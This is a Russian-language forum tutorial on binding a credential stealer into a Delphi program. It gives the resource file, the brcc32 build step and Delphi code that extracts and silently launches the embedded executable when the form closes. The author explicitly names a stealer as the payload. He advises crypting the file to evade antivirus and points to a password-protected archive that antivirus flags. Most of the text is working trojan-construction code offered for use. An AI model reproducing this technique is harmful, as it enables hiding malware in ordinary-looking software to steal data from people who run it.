Мне тут понадобилось добавить в дельфийский проект другой экзешник и чтобы он срабатывал на какое-нибудь событие.Покажу здесь как это делать (джойнер естественно не нужен).
Например у нас есть исходный код программы,но мы желаем вставить в неё,к примеру,наш любимый стилер.И чтобы при нажатии кнопки или клике по форме (или другое событие),наш стилер делал своё грязное дело.В качестве проги возьмём обчную форму с картинкой,стилер будет вылезать на событие OnClouse,то есть при закрытии программки.
1.Создаём текстовый документ ,пишем в нём:
FILEEXE FILES file.exe,сохраняем его как
res.rc
2.Создаём батник со следующим содержанием:
brcc32.exe res.rc,название не важно.
3.Запускаем батник (файл rc,батник и наш экзешник должны находиться в одной папке),появиться файл
res.res.Его нужно добавить в папку с проектом.
4.Создаёте делфийский проект (или открываете уже имеющийся).В
uses добавляете
ShellApi
после
implementation дописываете
{$R res.res}
ниже пишем следующую процедуру:
procedure ExtractRes (ResType, ResName, ResNewName: string);
var
Res: TResourceStream;
begin
Res := TResourceStream.Create(Hinstance, Resname, PChar(ResType));
Res.SavetoFile(ResNewName);
Res.Free;
end;
Теперь придумываем на какое событие будет срабатывать наш стилер.Я взл-OnClouse (на закрытие).В инспекторе объектов форм выбираем OnClouse.
Прописываем следующее:
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
ExtractRes('FILES', 'FILEEXE','file.exe');
ShellApi.ShellExecute(handle, 'open', PAnsiChar('file.exe'), '', '', sw_show);
end;
Компилируем.
Естественно,что палящиеся файлы нужно криптовать перед добавлением.Что у нас вышло:
В архиве папка со всей хренью (ругаются антивири).Пасс:111